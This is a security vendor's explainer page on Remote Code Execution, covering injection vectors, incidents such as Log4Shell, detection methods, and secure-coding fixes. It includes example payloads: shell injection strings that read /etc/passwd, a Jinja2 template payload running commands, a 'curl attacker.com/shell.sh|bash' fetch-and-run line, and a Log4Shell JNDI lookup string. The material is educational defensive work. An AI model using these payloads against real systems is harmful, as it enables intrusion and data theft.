All Vulnerabilities
critical CWE-94 A03:2021 Injection Detection: hard

Remote Code Execution (RCE)

Remote Code Execution enables attackers to execute arbitrary commands or code on a target server, representing the most severe class of vulnerability that leads to complete system compromise.

web api code network

Technical Description

Remote Code Execution (RCE) vulnerabilities allow an attacker to execute arbitrary code or operating system commands on a target server or application. RCE represents the most critical class of security vulnerability because it grants the attacker the same level of control as the process running the vulnerable application, often leading to full system compromise.

RCE arises through multiple technical vectors:

  • Command Injection: User input is passed to system shell functions (os.system(), exec(), Runtime.exec(), backtick operators) without sanitization. For example: os.system(f"ping {user_input}") where an attacker supplies ; cat /etc/passwd.
  • Code Injection: User input is evaluated as code through functions like eval(), exec() (Python), Function() (JavaScript), or preg_replace() with the /e modifier (PHP).
  • Template Injection (SSTI): Server-side template engines (Jinja2, Twig, Freemarker, Velocity) evaluate user input as template expressions. In Jinja2, {{config.__class__.__init__.__globals__['os'].popen('id').read()}} achieves RCE.
  • Deserialization RCE: Untrusted serialized objects trigger code execution during deserialization through gadget chains (see: Insecure Deserialization).
  • File Upload RCE: Uploading a web shell (.php, .jsp, .aspx) to a path served by the web server, then accessing it directly to execute commands.
  • Dependency Exploitation: Vulnerabilities in third-party libraries or frameworks (Log4Shell, Spring4Shell) that allow RCE through crafted input.
# Vulnerable to command injection
import subprocess
filename = request.args.get('file')
subprocess.call(f"convert {filename} output.pdf", shell=True)

# Attacker supplies: file=;curl attacker.com/shell.sh|bash

Real-World Impact

RCE vulnerabilities have enabled the most destructive cyberattacks in history:

  • Log4Shell / CVE-2021-44228 (2021): A critical RCE in the Apache Log4j logging library affected hundreds of millions of systems. Attackers achieved code execution through a simple JNDI lookup string in any logged input: ${jndi:ldap://attacker.com/exploit}. It was mass-exploited within hours of disclosure for cryptomining, ransomware, and espionage.
  • EternalBlue / MS17-010 (2017): An RCE in Windows SMB led to the WannaCry ransomware pandemic, infecting over 200,000 systems across 150 countries, causing billions in damages and crippling hospitals, shipping companies, and telecommunications providers.
  • Spring4Shell / CVE-2022-22965 (2022): RCE in Spring Framework allowed attackers to write web shells to servers through class loader manipulation.

RCE is typically a game-over finding in penetration testing. Once achieved, attackers install persistence mechanisms, pivot to other systems, exfiltrate data, deploy ransomware, or establish long-term covert access.

Detection Methodology

Detecting RCE vulnerabilities requires both static and dynamic approaches:

  1. Static Code Analysis: Search for dangerous function calls that incorporate user input: system(), exec(), eval(), popen(), ProcessBuilder, and template rendering functions. Trace data flows from input sources to these sinks.
  2. Dynamic Payload Testing: Inject command injection payloads (;id, |whoami, `sleep 5`, $(cat /etc/passwd)) into every input parameter, header, and file upload field. Use time-based payloads when output is not visible.
  3. Out-of-Band Detection: Use DNS and HTTP callback services (Burp Collaborator, interactsh) to detect blind RCE. Payloads like curl attacker-callback.com or nslookup attacker-callback.com confirm execution even when output is not returned.
  4. Dependency Auditing: Continuously scan application dependencies against known vulnerability databases (CVE, NVD, GitHub Advisory Database) for libraries with known RCE vulnerabilities.
  5. Template Injection Probing: Submit mathematical expressions in template syntax ({{7*7}}, ${7*7}, <%= 7*7 %>) and check if the response contains 49, indicating template evaluation.

How Revaizor Discovers This

Revaizor’s AI agents bring expert-level RCE hunting to every engagement:

  • Multi-Vector Injection: Revaizor tests for command injection, code injection, template injection, and expression language injection across every input parameter. Rather than using a fixed payload list, the agents craft context-appropriate payloads based on the detected technology stack.
  • Blind RCE Detection: Revaizor deploys time-based and out-of-band techniques to confirm RCE when output is not reflected. It uses DNS callbacks, delayed responses, and file-creation side effects to verify execution even through multiple layers of abstraction.
  • Dependency Chain Analysis: Revaizor identifies the application’s technology stack and checks for known RCE vulnerabilities in frameworks, libraries, and middleware. It constructs targeted exploits for confirmed vulnerable versions rather than generic payloads.
  • Post-Exploitation Demonstration: When RCE is confirmed, Revaizor demonstrates impact by retrieving system information, proving file system access, and documenting the attack chain from initial access to code execution, giving security teams the evidence needed to prioritize remediation.

Remediation

Preventing RCE requires eliminating the pathways from user input to code execution:

# Vulnerable - shell=True with user input
subprocess.call(f"convert {filename} output.pdf", shell=True)

# Secure - argument list without shell interpretation
subprocess.call(["convert", filename, "output.pdf"], shell=False)
# Vulnerable - eval with user input
result = eval(user_expression)

# Secure - use a safe expression parser
import asteval
interpreter = asteval.Interpreter()
result = interpreter(user_expression)

Comprehensive RCE prevention includes:

  • Eliminate Dynamic Code Execution: Remove all uses of eval(), exec(), Function(), and similar constructs that interpret user input as code. Use purpose-built parsers for calculations, template rendering, and data transformation.
  • Parameterized Commands: When system commands are necessary, use argument arrays instead of shell strings. Never set shell=True with user-controlled input.
  • Sandbox Template Engines: Configure template engines with restricted sandboxes. Disable access to class loaders, runtime objects, and file system APIs from template contexts.
  • File Upload Controls: Validate file types by content (magic bytes), not just extension. Store uploads outside the web root. Serve uploaded files through a separate domain with Content-Disposition: attachment.
  • Dependency Management: Implement automated dependency scanning in CI/CD pipelines. Pin dependency versions and monitor for security advisories. Patch critical RCE vulnerabilities in libraries within hours, not days.
  • Runtime Protection: Deploy application-level sandboxing (seccomp, AppArmor, SELinux), run processes with minimal privileges, and use read-only file systems where possible.

Related Vulnerabilities

Related Glossary Terms

Related Comparisons

Related Articles

Ready to try autonomous pentesting?

See how Revaizor can transform your security testing.

Request Early Access